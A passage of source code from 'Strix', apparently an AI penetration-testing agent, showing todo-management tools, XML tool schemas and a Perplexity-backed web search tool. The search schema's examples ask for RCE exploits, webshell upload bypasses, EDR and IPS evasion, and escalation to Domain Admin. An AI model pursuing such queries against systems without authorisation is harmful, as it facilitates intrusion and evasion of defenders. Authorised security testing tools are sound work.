todo.copy()\n            todo_with_id[\"todo_id\"] = todo_id\n            todos_list.append(todo_with_id)\n\n        priority_order = {\"critical\": 0, \"high\": 1, \"normal\": 2, \"low\": 3}\n        status_order = {\"done\": 0, \"in_progress\": 1, \"pending\": 2}\n\n        todos_list.sort(\n            key=lambda x: (\n                status_order.get(x.get(\"status\", \"pending\"), 99),\n                priority_order.get(x.get(\"priority\", \"normal\"), 99),\n                x.get(\"created_at\", \"\"),\n            )\n        )\n\n        summary_counts = {\n            \"pending\": 0,\n            \"in_progress\": 0,\n            \"done\": 0,\n        }\n        for todo in todos_list:\n            status_value = todo.get(\"status\", \"pending\")\n            if status_value not in summary_counts:\n                summary_counts[status_value] = 0\n            summary_counts[status_value] += 1\n\n        return {\n            \"success\": True,\n            \"todos\": todos_list,\n            \"total_count\": len(todos_list),\n            \"summary\": summary_counts,\n        }\n\n    except (ValueError, TypeError) as e:\n        return {\n            \"success\": False,\n            \"error\": f\"Failed to list todos: {e}\",\n            \"todos\": [],\n            \"total_count\": 0,\n            \"summary\": {\"pending\": 0, \"in_progress\": 0, \"done\": 0},\n        }\n\n\ndef _apply_single_update(\n    agent_todos: dict[str, dict[str, Any]],\n    todo_id: str,\n    title: str | None = None,\n    description: str | None = None,\n    priority: str | None = None,\n    status: str | None = None,\n) -> dict[str, Any] | None:\n    if todo_id not in agent_todos:\n        return {\"todo_id\": todo_id, \"error\": f\"Todo with ID '{todo_id}' not found\"}\n\n    todo = agent_todos[todo_id]\n\n    if title is not None:\n        if not title.strip():\n            return {\"todo_id\": todo_id, \"error\": \"Title cannot be empty\"}\n        todo[\"title\"] = title.strip()\n\n    if description is not None:\n        todo[\"description\"] = description.strip() if description else None\n\n    if priority is not None:\n        try:\n            todo[\"priority\"] = _normalize_priority(priority, str(todo.get(\"priority\", \"normal\")))\n        except ValueError as exc:\n            return {\"todo_id\": todo_id, \"error\": str(exc)}\n\n    if status is not None:\n        status_candidate = status.lower()\n        if status_candidate not in VALID_STATUSES:\n            return {\n                \"todo_id\": todo_id,\n                \"error\": f\"Invalid status. Must be one of: {', '.join(VALID_STATUSES)}\",\n            }\n        todo[\"status\"] = status_candidate\n        if status_candidate == \"done\":\n            todo[\"completed_at\"] = datetime.now(UTC).isoformat()\n        else:\n            todo[\"completed_at\"] = None\n\n    todo[\"updated_at\"] = datetime.now(UTC).isoformat()\n    return None\n\n\n@register_tool(sandbox_execution=False)\ndef update_todo(\n    agent_state: Any,\n    todo_id: str | None = None,\n    title: str | None = None,\n    description: str | None = None,\n    priority: str | None = None,\n    status: str | None = None,\n    updates: Any | None = None,\n) -> dict[str, Any]:\n    try:\n        agent_id = agent_state.agent_id\n        agent_todos = _get_agent_todos(agent_id)\n\n        updates_to_apply: list[dict[str, Any]] = []\n\n        if updates is not None:\n            updates_to_apply.extend(_normalize_bulk_updates(updates))\n\n        if todo_id is not None:\n            updates_to_apply.append(\n                {\n                    \"todo_id\": todo_id,\n                    \"title\": title,\n                    \"description\": description,\n                    \"priority\": priority,\n                    \"status\": status,\n                }\n            )\n\n        if not updates_to_apply:\n            return {\n                \"success\": False,\n                \"error\": \"Provide todo_id or 'updates' list to update.\",\n            }\n\n        updated: list[str] = []\n        errors: list[dict[str, Any]] = []\n\n        for update in updates_to_apply:\n            error = _apply_single_update(\n                agent_todos,\n                update[\"todo_id\"],\n                update.get(\"title\"),\n                update.get(\"description\"),\n                update.get(\"priority\"),\n                update.get(\"status\"),\n            )\n            if error:\n                errors.append(error)\n            else:\n                updated.append(update[\"todo_id\"])\n\n        todos_list = _sorted_todos(agent_id)\n\n        response: dict[str, Any] = {\n            \"success\": len(errors) == 0,\n            \"updated\": updated,\n            \"updated_count\": len(updated),\n            \"todos\": todos_list,\n            \"total_count\": len(todos_list),\n        }\n\n        if errors:\n            response[\"errors\"] = errors\n\n    except (ValueError, TypeError) as e:\n        return {\"success\": False, \"error\": str(e)}\n    else:\n        return response\n\n\n@register_tool(sandbox_execution=False)\ndef mark_todo_done(\n    agent_state: Any,\n    todo_id: str | None = None,\n    todo_ids: Any | None = None,\n) -> dict[str, Any]:\n    try:\n        agent_id = agent_state.agent_id\n        agent_todos = _get_agent_todos(agent_id)\n\n        ids_to_mark: list[str] = []\n        if todo_ids is not None:\n            ids_to_mark.extend(_normalize_todo_ids(todo_ids))\n        if todo_id is not None:\n            ids_to_mark.append(todo_id)\n\n        if not ids_to_mark:\n            return {\"success\": False, \"error\": \"Provide todo_id or todo_ids to mark as done.\"}\n\n        marked: list[str] = []\n        errors: list[dict[str, Any]] = []\n        timestamp = datetime.now(UTC).isoformat()\n\n        for tid in ids_to_mark:\n            if tid not in agent_todos:\n                errors.append({\"todo_id\": tid, \"error\": f\"Todo with ID '{tid}' not found\"})\n                continue\n\n            todo = agent_todos[tid]\n            todo[\"status\"] = \"done\"\n            todo[\"completed_at\"] = timestamp\n            todo[\"updated_at\"] = timestamp\n            marked.append(tid)\n\n        todos_list = _sorted_todos(agent_id)\n\n        response: dict[str, Any] = {\n            \"success\": len(errors) == 0,\n            \"marked_done\": marked,\n            \"marked_count\": len(marked),\n            \"todos\": todos_list,\n            \"total_count\": len(todos_list),\n        }\n\n        if errors:\n            response[\"errors\"] = errors\n\n    except (ValueError, TypeError) as e:\n        return {\"success\": False, \"error\": str(e)}\n    else:\n        return response\n\n\n@register_tool(sandbox_execution=False)\ndef mark_todo_pending(\n    agent_state: Any,\n    todo_id: str | None = None,\n    todo_ids: Any | None = None,\n) -> dict[str, Any]:\n    try:\n        agent_id = agent_state.agent_id\n        agent_todos = _get_agent_todos(agent_id)\n\n        ids_to_mark: list[str] = []\n        if todo_ids is not None:\n            ids_to_mark.extend(_normalize_todo_ids(todo_ids))\n        if todo_id is not None:\n            ids_to_mark.append(todo_id)\n\n        if not ids_to_mark:\n            return {\"success\": False, \"error\": \"Provide todo_id or todo_ids to mark as pending.\"}\n\n        marked: list[str] = []\n        errors: list[dict[str, Any]] = []\n        timestamp = datetime.now(UTC).isoformat()\n\n        for tid in ids_to_mark:\n            if tid not in agent_todos:\n                errors.append({\"todo_id\": tid, \"error\": f\"Todo with ID '{tid}' not found\"})\n                continue\n\n            todo = agent_todos[tid]\n            todo[\"status\"] = \"pending\"\n            todo[\"completed_at\"] = None\n            todo[\"updated_at\"] = timestamp\n            marked.append(tid)\n\n        todos_list = _sorted_todos(agent_id)\n\n        response: dict[str, Any] = {\n            \"success\": len(errors) == 0,\n            \"marked_pending\": marked,\n            \"marked_count\": len(marked),\n            \"todos\": todos_list,\n            \"total_count\": len(todos_list),\n        }\n\n        if errors:\n            response[\"errors\"] = errors\n\n    except (ValueError, TypeError) as e:\n        return {\"success\": False, \"error\": str(e)}\n    else:\n        return response\n\n\n@register_tool(sandbox_execution=False)\ndef delete_todo(\n    agent_state: Any,\n    todo_id: str | None = None,\n    todo_ids: Any | None = None,\n) -> dict[str, Any]:\n    try:\n        agent_id = agent_state.agent_id\n        agent_todos = _get_agent_todos(agent_id)\n\n        ids_to_delete: list[str] = []\n        if todo_ids is not None:\n            ids_to_delete.extend(_normalize_todo_ids(todo_ids))\n        if todo_id is not None:\n            ids_to_delete.append(todo_id)\n\n        if not ids_to_delete:\n            return {\"success\": False, \"error\": \"Provide todo_id or todo_ids to delete.\"}\n\n        deleted: list[str] = []\n        errors: list[dict[str, Any]] = []\n\n        for tid in ids_to_delete:\n            if tid not in agent_todos:\n                errors.append({\"todo_id\": tid, \"error\": f\"Todo with ID '{tid}' not found\"})\n                continue\n\n            del agent_todos[tid]\n            deleted.append(tid)\n\n        todos_list = _sorted_todos(agent_id)\n\n        response: dict[str, Any] = {\n            \"success\": len(errors) == 0,\n            \"deleted\": deleted,\n            \"deleted_count\": len(deleted),\n            \"todos\": todos_list,\n            \"total_count\": len(todos_list),\n        }\n\n        if errors:\n            response[\"errors\"] = errors\n\n    except (ValueError, TypeError) as e:\n        return {\"success\": False, \"error\": str(e)}\n    else:\n        return response\n"
  },
  {
    "path": "strix/tools/todo/todo_actions_schema.xml",
    "content": "<tools>\n  <important>\n  The todo tool is available for organizing complex tasks when needed. Each subagent has their own\n  separate todo list - your todos are private to you and do not interfere with other agents' todos.\n\n  WHEN TO USE TODOS:\n  - Planning complex multi-step operations\n  - Tracking multiple parallel workstreams\n  - When you need to remember tasks to return to later\n  - Organizing large-scope assessments with many components\n\n  WHEN NOT NEEDED:\n  - Simple, straightforward tasks\n  - Linear workflows where progress is obvious\n  - Short tasks that can be completed quickly\n\n  If you do use todos, batch operations together to minimize tool calls.\n  </important>\n\n  <tool name=\"create_todo\">\n    <description>Create a new todo item to track tasks, goals, and progress.</description>\n    <details>Use this tool when you need to track multiple tasks or plan complex operations.\n  Each subagent maintains their own independent todo list - your todos are yours alone.\n\n  Useful for breaking down complex tasks into smaller, manageable items when the workflow\n  is non-trivial or when you need to track progress across multiple components.</details>\n    <parameters>\n      <parameter name=\"title\" type=\"string\" required=\"false\">\n        <description>Short, actionable title for the todo (e.g., \"Test login endpoint for SQL injection\")</description>\n      </parameter>\n      <parameter name=\"todos\" type=\"string\" required=\"false\">\n        <description>Create multiple todos at once. Provide a JSON array of {\"title\": \"...\", \"description\": \"...\", \"priority\": \"...\"} objects or a newline-separated bullet list.</description>\n      </parameter>\n      <parameter name=\"description\" type=\"string\" required=\"false\">\n        <description>Detailed description or notes about the task</description>\n      </parameter>\n      <parameter name=\"priority\" type=\"string\" required=\"false\">\n        <description>Priority level: \"low\", \"normal\", \"high\", \"critical\" (default: \"normal\")</description>\n      </parameter>\n    </parameters>\n    <returns type=\"Dict[str, Any]\">\n      <description>Response containing: - created: List of created todos with their IDs - todos: Full sorted todo list - success: Whether the operation succeeded</description>\n    </returns>\n    <examples>\n  # Create a high priority todo\n  <function=create_todo>\n  <parameter=title>Test authentication bypass on /api/admin</parameter>\n  <parameter=description>The admin endpoint seems to have weak authentication. Try JWT manipulation, session fixation, and privilege escalation.</parameter>\n  <parameter=priority>high</parameter>\n  </function>\n\n  # Create a simple todo\n  <function=create_todo>\n  <parameter=title>Enumerate all API endpoints</parameter>\n  </function>\n\n  # Bulk create todos (JSON array)\n  <function=create_todo>\n  <parameter=todos>[{\"title\": \"Map all admin routes\", \"priority\": \"high\"}, {\"title\": \"Check forgotten password flow\"}]</parameter>\n  </function>\n\n  # Bulk create todos (bullet list)\n  <function=create_todo>\n  <parameter=todos>\n  - Capture baseline traffic in proxy\n  - Enumerate S3 buckets for leaked assets\n  - Compare responses for timing differences\n  </parameter>\n  </function>\n    </examples>\n  </tool>\n\n  <tool name=\"list_todos\">\n    <description>List all todos with optional filtering by status or priority.</description>\n  <details>Use this when you need to check your current todos, get fresh IDs, or reprioritize.\n  The list is sorted: done first, then in_progress, then pending. Within each status, sorted by priority (critical > high > normal > low).\n  Each subagent has their own independent todo list.</details>\n    <parameters>\n      <parameter name=\"status\" type=\"string\" required=\"false\">\n        <description>Filter by status: \"pending\", \"in_progress\", \"done\"</description>\n      </parameter>\n      <parameter name=\"priority\" type=\"string\" required=\"false\">\n        <description>Filter by priority: \"low\", \"normal\", \"high\", \"critical\"</description>\n      </parameter>\n    </parameters>\n    <returns type=\"Dict[str, Any]\">\n      <description>Response containing: - todos: List of todo items - total_count: Total number of todos - summary: Count by status (pending, in_progress, done)</description>\n    </returns>\n    <examples>\n  # List all todos\n  <function=list_todos>\n  </function>\n\n  # List only pending todos\n  <function=list_todos>\n  <parameter=status>pending</parameter>\n  </function>\n\n  # List high priority items\n  <function=list_todos>\n  <parameter=priority>high</parameter>\n  </function>\n    </examples>\n  </tool>\n\n  <tool name=\"update_todo\">\n  <description>Update one or multiple todo items. Prefer bulk updates in a single call when updating multiple items.</description>\n    <parameters>\n      <parameter name=\"todo_id\" type=\"string\" required=\"false\">\n        <description>ID of a single todo to update (for simple updates)</description>\n      </parameter>\n      <parameter name=\"updates\" type=\"string\" required=\"false\">\n        <description>Bulk update multiple todos at once. JSON array of objects with todo_id and fields to update: [{\"todo_id\": \"abc\", \"status\": \"done\"}, {\"todo_id\": \"def\", \"priority\": \"high\"}].</description>\n      </parameter>\n      <parameter name=\"title\" type=\"string\" required=\"false\">\n        <description>New title (used with todo_id)</description>\n      </parameter>\n      <parameter name=\"description\" type=\"string\" required=\"false\">\n        <description>New description (used with todo_id)</description>\n      </parameter>\n      <parameter name=\"priority\" type=\"string\" required=\"false\">\n        <description>New priority: \"low\", \"normal\", \"high\", \"critical\" (used with todo_id)</description>\n      </parameter>\n      <parameter name=\"status\" type=\"string\" required=\"false\">\n        <description>New status: \"pending\", \"in_progress\", \"done\" (used with todo_id)</description>\n      </parameter>\n    </parameters>\n    <returns type=\"Dict[str, Any]\">\n      <description>Response containing: - updated: List of updated todo IDs - updated_count: Number updated - todos: Full sorted todo list - errors: Any failed updates</description>\n    </returns>\n    <examples>\n  # Single update\n  <function=update_todo>\n  <parameter=todo_id>abc123</parameter>\n  <parameter=status>in_progress</parameter>\n  </function>\n\n  # Bulk update - mark multiple todos with different statuses in ONE call\n  <function=update_todo>\n  <parameter=updates>[{\"todo_id\": \"abc123\", \"status\": \"done\"}, {\"todo_id\": \"def456\", \"status\": \"in_progress\"}, {\"todo_id\": \"ghi789\", \"priority\": \"critical\"}]</parameter>\n  </function>\n    </examples>\n  </tool>\n\n  <tool name=\"mark_todo_done\">\n  <description>Mark one or multiple todos as completed in a single call.</description>\n  <details>Mark todos as done after completing them. Group multiple completions into one call using todo_ids when possible.</details>\n    <parameters>\n      <parameter name=\"todo_id\" type=\"string\" required=\"false\">\n        <description>ID of a single todo to mark as done</description>\n      </parameter>\n      <parameter name=\"todo_ids\" type=\"string\" required=\"false\">\n        <description>Mark multiple todos done at once. JSON array of IDs: [\"abc123\", \"def456\"] or comma-separated: \"abc123, def456\"</description>\n      </parameter>\n    </parameters>\n    <returns type=\"Dict[str, Any]\">\n      <description>Response containing: - marked_done: List of IDs marked done - marked_count: Number marked - todos: Full sorted list - errors: Any failures</description>\n    </returns>\n    <examples>\n  # Mark single todo done\n  <function=mark_todo_done>\n  <parameter=todo_id>abc123</parameter>\n  </function>\n\n  # Mark multiple todos done in ONE call\n  <function=mark_todo_done>\n  <parameter=todo_ids>[\"abc123\", \"def456\", \"ghi789\"]</parameter>\n  </function>\n    </examples>\n  </tool>\n\n  <tool name=\"mark_todo_pending\">\n    <description>Mark one or multiple todos as pending (reopen completed tasks).</description>\n    <details>Use this to reopen tasks that were marked done but need more work. Supports bulk operations.</details>\n    <parameters>\n      <parameter name=\"todo_id\" type=\"string\" required=\"false\">\n        <description>ID of a single todo to mark as pending</description>\n      </parameter>\n      <parameter name=\"todo_ids\" type=\"string\" required=\"false\">\n        <description>Mark multiple todos pending at once. JSON array of IDs: [\"abc123\", \"def456\"] or comma-separated: \"abc123, def456\"</description>\n      </parameter>\n    </parameters>\n    <returns type=\"Dict[str, Any]\">\n      <description>Response containing: - marked_pending: List of IDs marked pending - marked_count: Number marked - todos: Full sorted list - errors: Any failures</description>\n    </returns>\n    <examples>\n  # Mark single todo pending\n  <function=mark_todo_pending>\n  <parameter=todo_id>abc123</parameter>\n  </function>\n\n  # Mark multiple todos pending in ONE call\n  <function=mark_todo_pending>\n  <parameter=todo_ids>[\"abc123\", \"def456\"]</parameter>\n  </function>\n    </examples>\n  </tool>\n\n  <tool name=\"delete_todo\">\n    <description>Delete one or multiple todos in a single call.</description>\n    <details>Use this to remove todos that are no longer relevant. Supports bulk deletion to save tool calls.</details>\n    <parameters>\n      <parameter name=\"todo_id\" type=\"string\" required=\"false\">\n        <description>ID of a single todo to delete</description>\n      </parameter>\n      <parameter name=\"todo_ids\" type=\"string\" required=\"false\">\n        <description>Delete multiple todos at once. JSON array of IDs: [\"abc123\", \"def456\"] or comma-separated: \"abc123, def456\"</description>\n      </parameter>\n    </parameters>\n    <returns type=\"Dict[str, Any]\">\n      <description>Response containing: - deleted: List of deleted IDs - deleted_count: Number deleted - todos: Remaining todos - errors: Any failures</description>\n    </returns>\n    <examples>\n  # Delete single todo\n  <function=delete_todo>\n  <parameter=todo_id>abc123</parameter>\n  </function>\n\n  # Delete multiple todos in ONE call\n  <function=delete_todo>\n  <parameter=todo_ids>[\"abc123\", \"def456\", \"ghi789\"]</parameter>\n  </function>\n    </examples>\n  </tool>\n</tools>\n"
  },
  {
    "path": "strix/tools/web_search/__init__.py",
    "content": "from .web_search_actions import web_search\n\n\n__all__ = [\"web_search\"]\n"
  },
  {
    "path": "strix/tools/web_search/web_search_actions.py",
    "content": "import os\nfrom typing import Any\n\nimport requests\n\nfrom strix.tools.registry import register_tool\n\n\nSYSTEM_PROMPT = \"\"\"You are assisting a cybersecurity agent specialized in vulnerability scanning\nand security assessment running on Kali Linux. When responding to search queries:\n\n1. Prioritize cybersecurity-relevant information including:\n   - Vulnerability details (CVEs, CVSS scores, impact)\n   - Security tools, techniques, and methodologies\n   - Exploit information and proof-of-concepts\n   - Security best practices and mitigations\n   - Penetration testing approaches\n   - Web application security findings\n\n2. Provide technical depth appropriate for security professionals\n3. Include specific versions, configurations, and technical details when available\n4. Focus on actionable intelligence for security assessment\n5. Cite reliable security sources (NIST, OWASP, CVE databases, security vendors)\n6. When providing commands or installation instructions, prioritize Kali Linux compatibility\n   and use apt package manager or tools pre-installed in Kali\n7. Be detailed and specific - avoid general answers. Always include concrete code examples,\n   command-line instructions, configuration snippets, or practical implementation steps\n   when applicable\n\nStructure your response to be comprehensive yet concise, emphasizing the most critical\nsecurity implications and details.\"\"\"\n\n\n@register_tool(sandbox_execution=False, requires_web_search_mode=True)\ndef web_search(query: str) -> dict[str, Any]:\n    try:\n        api_key = os.getenv(\"PERPLEXITY_API_KEY\")\n        if not api_key:\n            return {\n                \"success\": False,\n                \"message\": \"PERPLEXITY_API_KEY environment variable not set\",\n                \"results\": [],\n            }\n\n        url = \"https://api.perplexity.ai/chat/completions\"\n        headers = {\"Authorization\": f\"Bearer {api_key}\", \"Content-Type\": \"application/json\"}\n\n        payload = {\n            \"model\": \"sonar-reasoning-pro\",\n            \"messages\": [\n                {\"role\": \"system\", \"content\": SYSTEM_PROMPT},\n                {\"role\": \"user\", \"content\": query},\n            ],\n        }\n\n        response = requests.post(url, headers=headers, json=payload, timeout=300)\n        response.raise_for_status()\n\n        response_data = response.json()\n        content = response_data[\"choices\"][0][\"message\"][\"content\"]\n\n    except requests.exceptions.Timeout:\n        return {\"success\": False, \"message\": \"Request timed out\", \"results\": []}\n    except requests.exceptions.RequestException as e:\n        return {\"success\": False, \"message\": f\"API request failed: {e!s}\", \"results\": []}\n    except KeyError as e:\n        return {\n            \"success\": False,\n            \"message\": f\"Unexpected API response format: missing {e!s}\",\n            \"results\": [],\n        }\n    except Exception as e:  # noqa: BLE001\n        return {\"success\": False, \"message\": f\"Web search failed: {e!s}\", \"results\": []}\n    else:\n        return {\n            \"success\": True,\n            \"query\": query,\n            \"content\": content,\n            \"message\": \"Web search completed successfully\",\n        }\n"
  },
  {
    "path": "strix/tools/web_search/web_search_actions_schema.xml",
    "content": "<tools>\n  <tool name=\"web_search\">\n    <description>Search the web using Perplexity AI for real-time information and current events.\n\nThis is your PRIMARY research tool - use it extensively and liberally for:\n- Current vulnerabilities, CVEs, and security advisories\n- Latest attack techniques, exploits, and proof-of-concepts\n- Technology-specific security research and documentation\n- Target reconnaissance and OSINT gathering\n- Security tool documentation and usage guides\n- Incident response and threat intelligence\n- Compliance frameworks and security standards\n- Bug bounty reports and security research findings\n- Security conference talks and research papers\n\nThe tool provides intelligent, contextual responses with current information that may not be in your training data. Use it early and often during security assessments to gather the most up-to-date factual information.</description>\n    <details>This tool leverages Perplexity AI's sonar-reasoning model to search the web and provide intelligent, contextual responses to queries. It's essential for effective cybersecurity work as it provides access to the latest vulnerabilities, attack vectors, security tools, and defensive techniques. The AI understands security context and can synthesize information from multiple sources.</details>\n    <parameters>\n      <parameter name=\"query\" type=\"string\" required=\"true\">\n        <description>The search query or question you want to research. Be specific and include relevant technical terms, version numbers, or context for better results. Make it as detailed as possible, with the context of the current security assessment.</description>\n      </parameter>\n    </parameters>\n    <returns type=\"Dict[str, Any]\">\n      <description>Response containing: - success: Whether the search was successful - query: The original search query - content: AI-generated response with current information - message: Status message</description>\n    </returns>\n    <examples>\n  # Found specific service version during reconnaissance\n  <function=web_search>\n  <parameter=query>I found OpenSSH 7.4 running on port 22. Are there any known exploits or privilege escalation techniques for this specific version?</parameter>\n  </function>\n\n  # Encountered WAF blocking attempts\n  <function=web_search>\n  <parameter=query>Cloudflare is blocking my SQLmap attempts on this login form. What are the latest bypass techniques for Cloudflare WAF in 2024?</parameter>\n  </function>\n\n  # Need to exploit discovered CMS\n  <function=web_search>\n  <parameter=query>Target is running WordPress 5.8.3 with WooCommerce 6.1.1. What are the current RCE exploits for this combination?</parameter>\n  </function>\n\n  # Stuck on privilege escalation\n  <function=web_search>\n  <parameter=query>I have low-privilege shell on Ubuntu 20.04 with kernel 5.4.0-74-generic. What local privilege escalation exploits work for this exact kernel version?</parameter>\n  </function>\n\n  # Need lateral movement in Active Directory\n  <function=web_search>\n  <parameter=query>I compromised a domain user account in Windows Server 2019 AD environment. What are the best techniques to escalate to Domain Admin without triggering EDR?</parameter>\n  </function>\n\n  # Encountered specific error during exploitation\n  <function=web_search>\n  <parameter=query>Getting \"Access denied\" when trying to upload webshell to IIS 10.0. What are alternative file upload bypass techniques for Windows IIS?</parameter>\n  </function>\n\n  # Need to bypass endpoint protection\n  <function=web_search>\n  <parameter=query>Target has CrowdStrike Falcon running. What are the latest techniques to bypass this EDR for payload execution and persistence?</parameter>\n  </function>\n\n  # Research target's infrastructure for attack surface\n  <function=web_search>\n  <parameter=query>I found target company \"AcmeCorp\" uses Office 365 and Azure. What are the common misconfigurations and attack vectors for this cloud setup?</parameter>\n  </function>\n\n  # Found interesting subdomain during recon\n  <function=web_search>\n  <parameter=query>Discovered staging.target.com running Jenkins 2.401.3. What are the current authentication bypass and RCE exploits for this Jenkins version?</parameter>\n  </function>\n\n  # Need alternative tools when primary fails\n  <function=web_search>\n  <parameter=query>Nmap is being detected and blocked by the target's IPS. What are stealthy alternatives for port scanning that evade modern intrusion prevention systems?</parameter>\n  </function>\n\n  # Finding best security tools for specific tasks\n  <function=web_search>\n  <parameter=query>What is the best Python pip package in 2025 for JWT security testing and manipulation, including cracking weak secrets and algorithm confusion attacks?</parameter>\n  </function>\n    </examples>\n  </tool>\n</tools>\n"
  },
  {
    "path": "strix/utils/__init__.py",
    "content": ""
  },
  {
    "path": "strix/utils/resource_paths.py",
    "content": "import sys\nfrom pathlib import Path\n\n\ndef get_strix_resource_path(*parts: str) -> Path:\n    frozen_base = getattr(sys, \"_MEIPASS\", None)\n    if frozen_base:\n        base = Path(frozen_base) / \"strix\"\n        if base.exists():\n            return base.joinpath(*parts)\n\n    base = Path(__file__).resolve().parent.parent\n    return base.joinpath(*parts)\n"
  },
  {
    "path": "strix.spec",
    "content": "# -*- mode: python ; coding: utf-8 -*-\n\nimport sys\nfrom pathlib import Path\nfrom PyInstaller.utils.hooks import collect_data_files, collect_submodules\n\nproject_root = Path(SPECPATH)\nstrix_root = project_root / 'strix'\n\ndatas = []\n\nfor md_file in strix_root.rglob('skills/**/*.md'):\n    rel_path = md_file.relative_to(project_root)\n    datas.append((str(md_file), str(rel_path.parent)))\n\nfor jinja_file in strix_root.rglob('agents/**/*.jinja'):\n    rel_path = jinja_file.relative_to(project_root)\n    datas.append((str(jinja_file), str(rel_path.parent)))\n\nfor xml_file in strix_root.rglob('*.xml'):\n    rel_path = xml_file.relative_to(project_root)\n    datas.append((str(xml_file), str(rel_path.parent)))\n\nfor tcss_file in strix_root.rglob('*.tcss'):\n    rel_path = tcss_file.relative_to(project_root)\n    datas.append((str(tcss_file), str(rel_path.parent)))\n\ndatas += collect_data_files('textual')\n\ndatas += collect_data_files('tiktoken')\ndatas += collect_data_files('tiktoken_ext')\n\ndatas += collect_data_files('litellm')\n\nhiddenimports = [\n    # Core dependencies\n    'litellm',\n    'litellm.llms',\n    'litellm.llms.openai',\n    'litellm.llms.anthropic',\n    'litellm.llms.vertex_ai',\n    'litellm.llms.bedrock',\n    'litellm.utils',\n    'litellm.caching',\n\n    # Textual TUI\n    'textual',\n    'textual.app',\n    'textual.widgets',\n    'textual.containers',\n    'textual.screen',\n    'textual.binding',\n    'textual.reactive',\n    'textual.css',\n    'textual._text_area_theme',\n\n    # Rich console\n    'rich',\n    'rich.console',\n    'rich.panel',\n    'rich.text',\n    'rich.markup',\n    'rich.style',\n    'rich.align',\n    'rich.live',\n\n    # Pydantic\n    'pydantic',\n    'pydantic.fields',\n    'pydantic_core',\n    'email_validator',\n\n    # Docker\n    'docker',\n    'docker.api',\n    'docker.models',\n    'docker.errors',\n\n    # HTTP/Networking\n    'httpx',\n    'httpcore',\n    'requests',\n    'urllib3',\n    'certifi',\n\n    # Jinja2 templating\n    'jinja2',\n    'jinja2.ext',\n    'markupsafe',\n\n    # XML parsing\n    'xmltodict',\n    'defusedxml',\n    'defusedxml.ElementTree',\n\n    # Syntax highlighting\n    'pygments',\n    'pygments.lexers',\n    'pygments.styles',\n    'pygments.util',\n\n    # Tiktoken (for token counting)\n    'tiktoken',\n    'tiktoken_ext',\n    'tiktoken_ext.openai_public',\n\n    # Tenacity retry\n    'tenacity',\n\n    # CVSS scoring\n    'cvss',\n\n    # Strix modules\n    'strix',\n    'strix.interface',\n    'strix.interface.main',\n    'strix.interface.cli',\n    'strix.interface.tui',\n    'strix.interface.utils',\n    'strix.interface.tool_components',\n    'strix.agents',\n    'strix.agents.base_agent',\n    'strix.agents.state',\n    'strix.agents.StrixAgent',\n    'strix.llm',\n    'strix.llm.llm',\n    'strix.llm.config',\n    'strix.llm.utils',\n    'strix.llm.memory_compressor',\n    'strix.runtime',\n    'strix.runtime.runtime',\n    'strix.runtime.docker_runtime',\n    'strix.telemetry',\n    'strix.telemetry.tracer',\n    'strix.tools',\n    'strix.tools.registry',\n    'strix.tools.executor',\n    'strix.tools.argument_parser',\n    'strix.skills',\n]\n\nhiddenimports += collect_submodules('litellm')\nhiddenimports += collect_submodules('textual')\nhiddenimports += collect_submodules('rich')\nhiddenimports += collect_submodules('pydantic')\nhiddenimports += collect_submodules('pygments')\n\nexcludes = [\n    # Sandbox-only packages\n    'playwright',\n    'playwright.sync_api',\n    'playwright.async_api',\n    'IPython',\n    'ipython',\n    'libtmux',\n    'pyte',\n    'openhands_aci',\n    'openhands-aci',\n    'gql',\n    'fastapi',\n    'uvicorn',\n    'numpydoc',\n\n    # Google Cloud / Vertex AI\n    'google.cloud',\n    'google.cloud.aiplatform',\n    'google.api_core',\n    'google.auth',\n    'google.oauth2',\n    'google.protobuf',\n    'grpc',\n    'grpcio',\n    'grpcio_status',\n\n    # Test frameworks\n    'pytest',\n    'pytest_asyncio',\n    'pytest_cov',\n    'pytest_mock',\n\n    # Development tools\n    'mypy',\n    'ruff',\n    'black',\n    'isort',\n    'pylint',\n    'pyright',\n    'bandit',\n    'pre_commit',\n\n    # Unnecessary for runtime\n    'tkinter',\n    'matplotlib',\n    'numpy',\n    'pandas',\n    'scipy',\n    'PIL',\n    'cv2',\n]\n\na = Analysis(\n    ['strix/interface/main.py'],\n    pathex=[str(project_root)],\n    binaries=[],\n    datas=datas,\n    hiddenimports=hiddenimports,\n    hookspath=[],\n    hooksconfig={},\n    runtime_hooks=[],\n    excludes=excludes,\n    noarchive=False,\n    optimize=0,\n)\n\npyz = PYZ(a.pure)\n\nexe = EXE(\n    pyz,\n    a.scripts,\n    a.binaries,\n    a.datas,\n    [],\n    name='strix',\n    debug=False,\n    bootloader_ignore_signals=False,\n    strip=False,\n    upx=False,\n    upx_exclude=[],\n    runtime_tmpdir=None,\n    console=True,\n    disable_windowed_traceback=False,\n    argv_emulation=False,\n    target_arch=None,\n    codesign_identity=None,\n    entitlements_file=None,\n)\n"
  },
  {
    "path": "tests/__init__.py",
    "content": "# Strix Test Suite\n"
  },
  {
    "path": "tests/agents/__init__.py",
    "content": "\"\"\"Tests for strix.agents module.\"\"\"\n"
  },
  {
    "path": "tests/config/__init__.py",
    "content": "\"\"\"Tests for strix.config module.\"\"\"\n"
  },
  {
    "path": "tests/config/test_config_telemetry.py",
    "content": "import json\n\nfrom strix.config.config import Config\n\n\ndef test_traceloop_vars_are_tracked() -> None:\n    tracked = Config.tracked_vars()\n\n    assert \"STRIX_OTEL_TELEMETRY\" in tracked\n    assert \"STRIX_POSTHOG_TELEMETRY\" in tracked\n    assert \"TRACELOOP_BASE_URL\" in tracked\n    assert \"TRACELOOP_API_KEY\" in tracked\n    assert \"TRACELOOP_HEADERS\" in tracked\n\n\ndef test_apply_saved_uses_saved_traceloop_vars(monkeypatch, tmp_path) -> None:\n    config_path = tmp_path / \"cli-config.json\"\n    config_path.write_text(\n        json.dumps(\n            {\n                \"env\": {\n                    \"TRACELOOP_BASE_URL\": \"https://otel.example.com\",\n                    \"TRACELOOP_API_KEY\": \"api-key\",\n                    \"TRACELOOP_HEADERS\": \"x-test=value\",\n                }\n            }\n        ),\n        encoding=\"utf-8\",\n    )\n\n    monkeypatch.setattr(Config, \"_config_file_override\", config_path)\n    monkeypatch.delenv(\"TRACELOOP_BASE_URL\", raising=False)\n    monkeypatch.delenv(\"TRACELOOP_API_KEY\", raising=False)\n    monkeypatch.delenv(\"TRACELOOP_HEADERS\", raising=False)\n\n    applied = Config.apply_saved()\n\n    assert applied[\"TRACELOOP_BASE_URL\"] == \"https://otel.example.com\"\n    assert applied[\"TRACELOOP_API_KEY\"] == \"api-key\"\n    assert applied[\"TRACELOOP_HEADERS\"] == \"x-test=value\"\n\n\ndef test_apply_saved_respects_existing_env_traceloop_vars(monkeypatch, tmp_path) -> 